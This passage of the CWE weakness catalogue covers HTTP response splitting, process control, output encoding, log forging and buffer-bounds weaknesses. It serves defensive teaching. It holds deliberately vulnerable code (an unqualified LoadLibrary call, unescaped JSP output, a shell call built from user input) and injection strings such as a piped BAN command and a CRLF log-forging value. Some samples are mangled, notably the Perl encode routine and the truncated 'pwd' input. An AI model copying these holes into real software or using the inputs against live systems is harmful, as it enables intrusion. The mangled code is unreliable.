The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although the user of the local browser instance will be affected.

**Example 4:**
Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser.

The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

**Example 5:**
In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker can cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker.

Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-1620</td>
<td>HTTP response splitting via CRLF in parameter related to URL.</td>
</tr>
<tr>
<td>CVE-2004-1656</td>
<td>HTTP response splitting via CRLF in parameter related to URL.</td>
</tr>
<tr>
<td>CVE-2004-1687</td>
<td>Chain: HTTP response splitting via CRLF in parameter related to URL.</td>
</tr>
<tr>
<td>CVE-2004-2146</td>
<td>Application accepts CRLF in an object ID, allowing HTTP response splitting.</td>
</tr>
<tr>
<td>CVE-2004-2512</td>
<td>Response splitting via CRLF in PHPSESSID.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

**Input Validation**

Construct HTTP headers very carefully, avoiding the use of non-validated input data.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td></td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>442</td>
<td>Web Problems</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Theoretical Notes
HTTP response splitting is probably only multi-factor in an environment that uses intermediaries.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>nodeID</td>
<td>HTTP response splitting</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>NodeID</td>
<td>HTTP Response Splitting</td>
</tr>
<tr>
<td>WASC</td>
<td>NodeID</td>
<td>HTTP Response Splitting</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>31</td>
<td>Accessing/Intercepting/Modifying HTTP Cookies</td>
</tr>
<tr>
<td>34</td>
<td>HTTP Response Splitting</td>
</tr>
</tbody>
</table>

(CAPEC Version 2.10)
CWE-114: Process Control

Weakness ID: 114 (Weakness Base) Status: Incomplete

Description

Summary
Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

Extended Description
Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

Time of Introduction
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Demonstrative Examples

Example 1:
The following code uses System.loadLibrary() to load code from a native library named library.dll, which is normally found in a standard system directory.

Java Example:

```java
... 
System.loadLibrary("library.dll");
... 
```

The problem here is that System.loadLibrary() accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of library.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's library.dll will now be run with elevated privileges, possibly giving them complete control of the system.

Example 2:
The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

C Example:

```c
... 
RegQueryValueEx(hkey, "APPHOME", 
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
  strcpy(lib,home);
  strcat(lib,INITCMD);
  LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

Example 3:
The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

C Example:

```c
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Potential Mitigations

Architectural and Design

Libraries or Frameworks

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>631</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>984</td>
</tr>
</tbody>
</table>
CWE-115: Misinterpretation of Input

**Summary**
The software misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**
- All

**Common Consequences**
- Integrity
- Unexpected state

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0003</td>
<td>Product does not correctly import and process security settings from another product.</td>
</tr>
<tr>
<td>CVE-2005-2225</td>
<td>Product sees dangerous file extension in free text of a group discussion, disconnects all users.</td>
</tr>
</tbody>
</table>

**Reference**

- CWE-115: Misinterpretation of Input
  - Weakness ID: 115 (Weakness Base)
  - Status: Incomplete
  - Description
    - Summary
    - Time of Introduction
    - Applicable Platforms
    - Common Consequences
    - Observed Examples
    - Relationships
    - Research Gaps
    - Taxonomy Mappings

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>108</td>
<td>Command Line Execution through SQL Injection</td>
<td></td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Process Control</td>
</tr>
</tbody>
</table>

**CWE-116: Improper Encoding or Escaping of Output**

**Summary**
The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
Extended Description
Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

Alternate Terms
- Output Sanitization
- Output Validation
- Output Encoding

Terminology Notes
The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
- Languages: All
- Technology Classes: Database-Server (Often), Web-Server (Often)

Common Consequences
- Integrity
- Confidentiality
- Availability
- Access Control
- Modify application data
- Execute unauthorized code or commands
- Bypass protection mechanism

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.

Likelihood of Exploit
- Very High

Detection Methods
- Automated Static Analysis
  - Moderate
  - This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.
Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Demonstrative Examples

Example 1:

This code displays an email address that was submitted as part of a form.

JSP Example:  

```jsp
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

Perl Example:  

```perl
#!/usr/bin/perl

my $inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UrlDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    } elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

In this code, the web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

Perl Example:  

```perl
#!/usr/bin/perl

my $inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+/ /gs;

$argstr = UrlEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front-end only intends to send a single command. However, the UrlEncode function could leave the "|" character intact. If an attacker provides:

```
SAY hello world|BAN user12
```
then the front end will see this is a "SAY" command, and the $argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

<table>
<thead>
<tr>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAY hello%20world</td>
</tr>
</tbody>
</table>

The back end, however, will treat these as two separate commands:

<table>
<thead>
<tr>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAY hello world</td>
</tr>
<tr>
<td>BAN user12</td>
</tr>
</tbody>
</table>

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

**Example 3:**
This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

**Perl Example:**

```perl
sub GetUntrustedInput {
    return($ARGV[0]);
}

sub encode {
    my($str) = @_; 
    $str =~ s/\&/\&/gs;
    $str =~ s/"/\"/gs;
    $str =~ s/\'/\'/gs;
    $str =~ s/\</\&lt;/gs;
    $str =~ s/\>/\>/gs;
    return($str);
}

sub doit {
    my $uname = encode(GetUntrustedInput("username"));
    print "<b>Welcome, $uname!</b><p>
    system("cd /home/$uname; /bin/ls -l");
}
```

The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

```
pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-0005</td>
<td>Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.</td>
</tr>
<tr>
<td>CVE-2008-0757</td>
<td>Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.</td>
</tr>
<tr>
<td>CVE-2008-0769</td>
<td>Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.</td>
</tr>
<tr>
<td>CVE-2008-3773</td>
<td>Cross-site scripting in chat application via a message subject, which normally might contain &quot;&amp;&quot; and other XSS-related characters.</td>
</tr>
</tbody>
</table>
CWE-116: Improper Encoding or Escaping of Output

Reference | Description
---|---
CVE-2008-4636 | OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
CVE-2008-5573 | SQL injection via password parameter; a strong password might contain “&”

Potential Mitigations

**Architecture and Design**

**Libraries or Frameworks**
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.116.1] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

**Architecture and Design**

**Parameterization**
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

**Architecture and Design**

**Implementation**
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

**Architecture and Design**

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict whitelist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

**Architecture and Design**

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

**Requirements**
Fully specify which encodings are required by components that will be communicating with each other.

**Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬇️</td>
<td>19</td>
<td>Data Processing Errors</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>⬆️</td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇️</td>
<td>707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

Page 221
**Relationship Notes**

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the 'apos character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

**Research Gaps**

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

**Theoretical Notes**

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>WASC</td>
<td>22</td>
<td>Improper Output Handling</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS00-J</td>
<td>Sanitize untrusted data passed across a trust boundary</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS12-J</td>
<td>Perform lossless conversion of String data between differing character encodings</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>IDS05-J</td>
<td>Use a subset of ASCII for file and path names</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC09-CPP</td>
<td>Character Encoding - Use Subset of ASCII for Safety</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC10-CPP</td>
<td>Character Encoding - UTF8 Related Issues</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>73</td>
<td>User-Controlled Filename</td>
<td></td>
</tr>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
<td></td>
</tr>
<tr>
<td>85</td>
<td>AJAX Fingerprinting</td>
<td></td>
</tr>
<tr>
<td>104</td>
<td>Cross Zone Scripting</td>
<td></td>
</tr>
</tbody>
</table>

**References**
### CWE-117: Improper Output Neutralization for Logs

**Weakness ID:** 117  *(Weakness Base)*

**Status:** Draft

**Description**

<table>
<thead>
<tr>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>The software does not neutralize or incorrectly neutralizes output that is written to logs.</td>
</tr>
</tbody>
</table>

**Extended Description**

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

- Data enters an application from an untrusted source.
- The data is written to an application or system log file.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Integrity
- Confidentiality
- Availability
- Non-Repudiation
- Modify application data
- Hide activities

**Execute unauthorized code or commands**

Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker’s tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

**Java Example:**

```java
String val = request.getParameter("val");
```
try {
    int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
...

If a user submits the string "twenty-one" for val, the following entry is logged:

INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4624</td>
<td>Chain: inject fake log entries with fake timestamps using CRLF injection</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Background Details**

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing...
log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>727</td>
<td>OWASP Top Ten 2004 Category A6 - Injection Flaws</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>1000</td>
</tr>
</tbody>
</table>

**Causal Nature**

*Explicit* *(an explicit weakness resulting from behavior of the developer)*

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Log Forging</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>81</td>
<td>Web Logs Tampering</td>
<td></td>
</tr>
<tr>
<td>93</td>
<td>Log Injection-Tampering-Forging</td>
<td></td>
</tr>
</tbody>
</table>

**References**

- A. Muffet. "The night the log was forged". <http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm>.

---

**CWE-118: Incorrect Access of Indexable Resource ('Range Error')**

**Weakness ID:** 118 *(Weakness Class)*  
**Status:** Incomplete

**Description**

**Summary**

The software does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Other**

- Varies by context

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>970</td>
<td>SFP Secondary Cluster: Faulty Buffer Access</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

**Description**

**Summary**

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

**Extended Description**

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

**Alternate Terms**

Memory Corruption

The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- C (Often)
- C++ (Often)
- Assembly
- Languages without memory management support

**Platform Notes**

**Common Consequences**
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify memory
If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.
If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability
Confidentiality
Read memory
DoS: crash / exit / restart
DoS: resource consumption (CPU)
